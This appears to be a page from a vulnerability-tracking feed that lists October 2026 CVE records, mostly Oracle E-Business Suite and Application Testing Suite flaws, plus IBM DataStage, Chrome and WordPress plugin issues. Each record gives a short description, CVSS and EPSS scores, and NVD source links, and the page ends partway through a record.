CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101546).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101546&date=2026-10-25).
Sources:
NVD CVE-2026-101546: https://nvd.nist.gov/vuln/detail/CVE-2026-101546
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101546&date=2026-10-25
Vulnerability in the Oracle Materials Requirement Planning product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Materials Requirement Planning.  Successful attacks of this vulnerability can result in takeover of Oracle Materials Requirement Planning. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Application Testing Suite (component: OpenScript).
https://kevwire.com/record/CVE-2026-101548
Vulnerability in Oracle Application Testing Suite (component: OpenScript). (Oct 20, 2026).
Vulnerability in Oracle Application Testing Suite (component: OpenScript).   The supported version that is affected is 13.3.0.1. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Testing Suite executes to compromise Oracle Application Testing Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Application Testing Suite. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101548).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101548&date=2026-10-25).
Sources:
NVD CVE-2026-101548: https://nvd.nist.gov/vuln/detail/CVE-2026-101548
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101548&date=2026-10-25
Vulnerability in Oracle Application Testing Suite (component: OpenScript).   The supported version that is affected is 13.3.0.1. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Testing Suite executes to compromise Oracle Application Testing Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Application Testing Suite. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Application Testing Suite (component: OpenScript).
https://kevwire.com/record/CVE-2026-101549
Vulnerability in Oracle Application Testing Suite (component: OpenScript). (Oct 20, 2026).
Vulnerability in Oracle Application Testing Suite (component: OpenScript).   The supported version that is affected is 13.3.0.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Testing Suite executes to compromise Oracle Application Testing Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Application Testing Suite. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101549).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101549&date=2026-10-25).
Sources:
NVD CVE-2026-101549: https://nvd.nist.gov/vuln/detail/CVE-2026-101549
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101549&date=2026-10-25
Vulnerability in Oracle Application Testing Suite (component: OpenScript).   The supported version that is affected is 13.3.0.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Testing Suite executes to compromise Oracle Application Testing Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Application Testing Suite. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Oracle Diagnostics Interfaces).
https://kevwire.com/record/CVE-2026-101551
Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Oracle Diagnostics Interfaces). (Oct 20, 2026).
Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Oracle Diagnostics Interfaces).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Applications Manager accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101551).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101551&date=2026-10-25).
Sources:
NVD CVE-2026-101551: https://nvd.nist.gov/vuln/detail/CVE-2026-101551
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101551&date=2026-10-25
Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Oracle Diagnostics Interfaces).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Applications Manager accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Flexfields).
https://kevwire.com/record/CVE-2026-101552
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Flexfields). (Oct 20, 2026).
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Flexfields).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101552).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101552&date=2026-10-25).
Sources:
NVD CVE-2026-101552: https://nvd.nist.gov/vuln/detail/CVE-2026-101552
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101552&date=2026-10-25
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Flexfields).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101554
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101554).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101554&date=2026-10-25).
Sources:
NVD CVE-2026-101554: https://nvd.nist.gov/vuln/detail/CVE-2026-101554
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101554&date=2026-10-25
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101555
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101555).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101555&date=2026-10-25).
Sources:
NVD CVE-2026-101555: https://nvd.nist.gov/vuln/detail/CVE-2026-101555
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101555&date=2026-10-25
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101556
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101556).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101556&date=2026-10-25).
Sources:
NVD CVE-2026-101556: https://nvd.nist.gov/vuln/detail/CVE-2026-101556
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101556&date=2026-10-25
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Commerce Platform product of Oracle Commerce (component: Dynamo Commerce Server).
https://kevwire.com/record/CVE-2026-101560
Vulnerability in the Oracle Commerce Platform product of Oracle Commerce (component: Dynamo Commerce Server). (Oct 20, 2026).
Vulnerability in the Oracle Commerce Platform product of Oracle Commerce (component: Dynamo Commerce Server).   The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Platform.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Commerce Platform accessible data as well as  unauthorized read access to a subset of Oracle Commerce Platform accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101560).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101560&date=2026-10-25).
Sources:
NVD CVE-2026-101560: https://nvd.nist.gov/vuln/detail/CVE-2026-101560
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101560&date=2026-10-25
Vulnerability in the Oracle Commerce Platform product of Oracle Commerce (component: Dynamo Commerce Server).   The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Platform.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Commerce Platform accessible data as well as  unauthorized read access to a subset of Oracle Commerce Platform accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Acollect).
https://kevwire.com/record/CVE-2026-101562
Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Acollect). (Oct 20, 2026).
Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Acollect).   The supported version that is affected is 2.6. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Agile PLM accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101562).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101562&date=2026-10-25).
Sources:
NVD CVE-2026-101562: https://nvd.nist.gov/vuln/detail/CVE-2026-101562
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101562&date=2026-10-25
Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Acollect).   The supported version that is affected is 2.6. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Agile PLM accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges).
https://kevwire.com/record/CVE-2026-101566
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges). (Oct 20, 2026).
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Object Library executes to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101566).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101566&date=2026-10-25).
Sources:
NVD CVE-2026-101566: https://nvd.nist.gov/vuln/detail/CVE-2026-101566
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101566&date=2026-10-25
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Object Library executes to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM DataStage on Cloud Pak for Data 5.4.0.0 allows an unauthenticated user to perform an arbitrary write into shared Redis under any tenant's key.
https://kevwire.com/record/CVE-2026-81212
IBM DataStage on Cloud Pak for Data 5.4.0.0 allows an unauthenticated user to perform an arbitrary write into shared Redis under any tenant's key. (Oct 20, 2026).
IBM DataStage on Cloud Pak for Data 5.4.0.0 allows an unauthenticated user to perform an arbitrary write into shared Redis under any tenant's key. This collapses the platform's credential-encryption boundary and lets an anonymous caller poison any tenant's cached flow parameters.
CVSS 10.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-81212).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-81212&date=2026-10-25).
Sources:
NVD CVE-2026-81212: https://nvd.nist.gov/vuln/detail/CVE-2026-81212
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-81212&date=2026-10-25
IBM DataStage on Cloud Pak for Data 5.4.0.0 allows an unauthenticated user to perform an arbitrary write into shared Redis under any tenant's key. This collapses the platform's credential-encryption boundary and lets an anonymous caller poison any tenant's cached flow parameters.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Autofill in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113170
Use after free in Autofill in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Autofill in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113170).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113170&date=2026-10-25).
Sources:
NVD CVE-2026-113170: https://nvd.nist.gov/vuln/detail/CVE-2026-113170
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113170&date=2026-10-25
Use after free in Autofill in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Chill Strong Testimonials strong-testimonials allows Stored XSS.This issue...
https://kevwire.com/record/CVE-2026-107435
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Chill Strong Testimonials strong-testimonials allows Stored XSS.This issue... (Oct 21, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Chill Strong Testimonials strong-testimonials allows Stored XSS.This issue affects Strong Testimonials: from n/a through 3.3.12.
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107435).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107435&date=2026-10-25).
Sources:
NVD CVE-2026-107435: https://nvd.nist.gov/vuln/detail/CVE-2026-107435
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107435&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Chill Strong Testimonials strong-testimonials allows Stored XSS.This issue affects Strong Testimonials: from n/a through 3.3.12.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in GS Plugins WordPress Team Members – GS Plugins gs-team-members allows Object Injection.This issue affects WordPress Team Members...
https://kevwire.com/record/CVE-2026-110369
Deserialization of Untrusted Data vulnerability in GS Plugins WordPress Team Members – GS Plugins gs-team-members allows Object Injection.This issue affects WordPress Team Members... (Oct 21, 2026).
Deserialization of Untrusted Data vulnerability in GS Plugins WordPress Team Members – GS Plugins gs-team-members allows Object Injection.This issue affects WordPress Team Members – GS Plugins: from n/a through 2.8.2.
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110369).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110369&date=2026-10-25).
Sources:
NVD CVE-2026-110369: https://nvd.nist.gov/vuln/detail/CVE-2026-110369
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110369&date=2026-10-25
Deserialization of Untrusted Data vulnerability in GS Plugins WordPress Team Members – GS Plugins gs-team-members allows Object Injection.This issue affects WordPress Team Members – GS Plugins: from n/a through 2.8.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in GS Plugins GS Pins for Pinterest gs-pinterest-portfolio allows Object Injection.This issue affects GS Pins for Pinterest: from...
https://kevwire.com/record/CVE-2026-110370
Deserialization of Untrusted Data vulnerability in GS Plugins GS Pins for Pinterest gs-pinterest-portfolio allows Object Injection.This issue affects GS Pins for Pinterest: from... (Oct 21, 2026).
Deserialization of Untrusted Data vulnerability in GS Plugins GS Pins for Pinterest gs-pinterest-portfolio allows Object Injection.This issue affects GS Pins for Pinterest: from n/a through 1.9.2.
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110370).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110370&date=2026-10-25).
Sources:
NVD CVE-2026-110370: https://nvd.nist.gov/vuln/detail/CVE-2026-110370
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110370&date=2026-10-25
Deserialization of Untrusted Data vulnerability in GS Plugins GS Pins for Pinterest gs-pinterest-portfolio allows Object Injection.This issue affects GS Pins for Pinterest: from n/a through 1.9.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in geekontheroad Live Summary for Gravity Forms live-summary-for-gravity-forms...
https://kevwire.com/record/CVE-2026-110884
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in geekontheroad Live Summary for Gravity Forms live-summary-for-gravity-forms... (Oct 21, 2026).
